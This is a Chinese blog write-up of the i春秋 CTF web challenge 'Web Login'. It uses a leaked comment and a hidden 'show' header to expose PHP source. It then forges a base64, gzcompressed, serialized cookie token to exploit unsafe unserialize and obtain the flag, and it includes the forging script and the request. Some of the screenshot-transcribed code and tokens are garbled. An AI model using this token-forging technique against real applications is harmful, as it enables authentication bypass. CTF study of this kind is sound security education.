

i春秋CTF训练 Web Login

原创

椰奶冻不安全 于 2020-07-04 21:05:39 发布 1517 收藏 1

分类专栏: CTF 文章标签: php

来自 椰奶冻不安全 的博客, 复制完可要记得我吖

本文链接: https://blog.csdn.net/qq_40654505/article/details/107130284

版权



[CTF 专栏收录该内容](#)

14 篇文章 0 订阅

订阅专栏

Web Login

题目内容: 加油, 我看好你

本题由擂主Wfox提供

[题目链接请在i春秋申请](#)

访问发现是个登录页面, 还以为是爆破弱口令, 结果在页面源码里看到一行注释

```
<!-- test1 test1 -->
```

Username:

Password:

```
623px x 977px
Elements Console Sources Network Performance Memory Application
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Log In</title>
    <link rel="stylesheet" href="//cdn.bootcss.com/skeleton/2.0.4/skeleton.min.css">
  </head>
  <body>
    <div class="container">...</div>
    ... <!-- test1 test1 --> == $0
  </body>
</html>
```

error!!

https://blog.csdn.net/qq_40654505

试了一下成功登录, 然后重定向到了 `member.php` 页面, 发现页面里啥也没有

(^_^)

```
Elements Console Sources Network Performance
<html>
  <head> == $0
    <meta charset="utf-8">
  </head>
  <body>(^_^)~^__^</body>
</html>
```

https://blog.csdn.net/qq_40654505

只能用burpsuite抓包看看了, 然后在response的headers里发现可疑参数 `show`

Response

Raw Headers Hex Render

Name	Value
Date	Sat, 04 Jul 2020 12:21:31 GMT
Content-Type	text/html; charset=utf-8
Content-Length	69
Connection	close
Vary	Accept-Encoding
Expires	Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control	no-store, no-cache, must-revalidate, post-check=0, pr...
Pragma	no-cache
show	0
Vary	Accept-Encoding
X-Via-JSL	f97d99d,-
X-Cache	bypass

```
1 <head>
2 <meta charset="utf-8" />
3 </head>
4 (J'□')J—L
```

https://blog.csdn.net/qq_40654505

然后在request的headers里添加一个 show 参数，值设置为1，发送，页面返回了php源码

Send Cancel < >

Request

Raw Params Headers Hex

Name	Value
GET	/member.php HTTP/1.1
Host	eci-2zeef0dyp7ldg7kr1df0.cloudapi.ichunqiu.com
User-Agent	Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/201...
Accept	text/html,application/xhtml+xml,application/xml;q...
Accept-Language	zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q...
Accept-Encoding	gzip, deflate
Referer	http://eci-2zeef0dyp7ldg7kr1df0.cloudapi.ichunqiu...
Connection	close
Cookie	_jsluid_h=ad0653f7fa1fa9c50e0f78cb5b43f341; P...
Upgrade-Insecure-Request	1
Cache-Control	max-age=0
show	1

Add Remove Up Down

Response

Raw Headers Hex Render

```
1 HTTP/1.1 200 OK
2 Date: Sat, 04 Jul 2020 12:16:26 GMT
3 Content-Type: text/html; charset=utf-8
4 Content-Length: 918
5 Connection: close
6 Vary: Accept-Encoding
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-chec
9 Pragma: no-cache
10 Vary: Accept-Encoding
11 X-Via-JSL: f97d99d,-
12 X-Cache: bypass
13
14 <head>
15   <meta charset="utf-8" />
16 </head>
17 <!-- <?php
18 include 'common.php';
19 $request = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
20 class db
21 {
22 public $where;
23 function __wakeup()
24 {
25 if(!empty($this->where))
26 {
27 $this->select($this->where);
28 }
29 }
30
31 function select($where)
32 {
33 $sql=mysql_query('select * from user where '. $where);
34 return @mysql_fetch_array($sql);
35 }
36 }
37
38 if(isset($request['token'])) https://blog.csdn.net/qq_40654505
```

```

<!-- <?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
    public $where;
    function __wakeup()
    {
        if(!empty($this->where))
        {
            $this->select($this->where);
        }
    }
    function select($where)
    {
        $sql = mysql_query('select * from user where '.$where);
        return @mysql_fetch_array($sql);
    }
}
if(isset($requset['token']))
{
    $login = unserialize(gzuncompress(base64_decode($requset['token'])));
    $db = new db();
    $row = $db->select("user='".$mysql_real_escape_string($login['user'])."'");
    if($login['user'] === 'ichunqiu')
    {
        echo $flag;
    }else if($row['pass'] !== $login['pass']){
        echo 'unserialize injection!!';
    }else{
        echo "(` `) ) ) ) )";
    }
}else{
    header('Location: index.php?error=1');
}
?> -->(` `) ) ) ) )

```

重点是构造 `$login = unserialize(gzuncompress(base64_decode($requset['token'])));` 只要满足 `if($login['user'] === 'ichunqiu')` 就返回flag，主要就是有加密

下面补充点小知识：

- php的数组

```
<?php
$array = array(
    "foo" => "bar",
    "bar" => "foo",
);

// 自 PHP 5.4 起
$array = [
    "foo" => "bar",
    "bar" => "foo",
];
?>
```

题目中判断的 `$login['user'] === 'ichunqiu'` 就是数组，所以我们需要命名一个数组 `$a=array("user" => "ichunqiu")`，之后进行加密

`serialize()` 返回字符串，此字符串包含了表示 value 的字节流，可以存储于任何地方。序列化`serialize()`就是可以将多个字段的值如 name、vaule、sex、money 等存储在数据库表中一个字段里如`extend_params`，而不用另外开辟那么多字段，使用的时候就要先反序列化`extend_params`，使用`unserialize()`函数

`gzcompress()`实现字符串压缩，`gzuncompress()`实现解压

`base64_encode()`字符串进行base64编码加密，`base64_decode()` base64解密

题目按执行先后进行了`base64`解密，`gzuncompress`解压，`unserialize`序列化转php，我们需要按照正好相反的顺序构造加密

```
$a=base64_encode(gzcompress(serialize($a)));
```

写个php的加密脚本

```
<?php
$a=array("user" => "ichunqiu");
$a=base64_encode(gzcompress(serialize($a)));
echo $a;
?>
```

得到输出

```
eJxLtDK0qi62MrFSKi10LVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
```

在Cookie里添加一个token值即可得到flag

```
1 GET /member.php HTTP/1.1
2 Host: eci-2zeel80eg3ad4n86lgm15.cloudeci.ichunqiu.com
3 User-Agent: Mozilla/5.0(X11; Linux x86_64; rv:68.0) Gecko/20100101
4 Firefox/68.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.8
7 Accept-Encoding: gzip, deflate
8 Referer: http://eci-2zeef0dyp7ldg7kr1df0.cloudeci.ichunqiu.com/index.php?error=1
9 Connection: close
10 Cookie: __jsluid_h=ad0653f7fa1fa9c50e0f78cb5b43f341; PHPSESSID=qmfaur9em95c7pggc4r9s0eh76; token=eJxLtkOqi62MrFSKi1OLVkyLraysFLKTM4ozSvMLPwrgUAo4eKXA==;
11 Upgrade-Insecure-Requests: 1
12 Cache-Control: max-age=0
13 show: 1
14
```

```
18 include 'common.php';
19 $request = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
20 class db
21 {
22     public $where;
23     function __wakeup()
24     {
25         if(!empty($this->where))
26         {
27             $this->select($this->where);
28         }
29     }
30 }
31 function select($where)
32 {
33     $sql = mysql_query('select * from user where ' . $where);
34     return @mysql_fetch_array($sql);
35 }
36 }
37
38 if(isset($request['token']))
39 {
40     $login = unserialize(gzuncompress(base64_decode($request['token'])));
41     $db = new db();
42     $row = $db->select("user='{$mysql_real_escape_string($login['user'])}");
43     if($login['user'] == 'ichunqiu')
44     {
45         echo $flag;
46     } elseif($row['pass'] != $login['pass']){
47         echo 'unserialize injection!!!';
48     } else{
49         echo "(J`口)J—L—";
50     }
51 } else{
52     header('Location: index.php?error=1');
53 }
54
55 ?>-->flag(49707)
```

https://flag4707.cn.net/qq_40654505
flag(49707)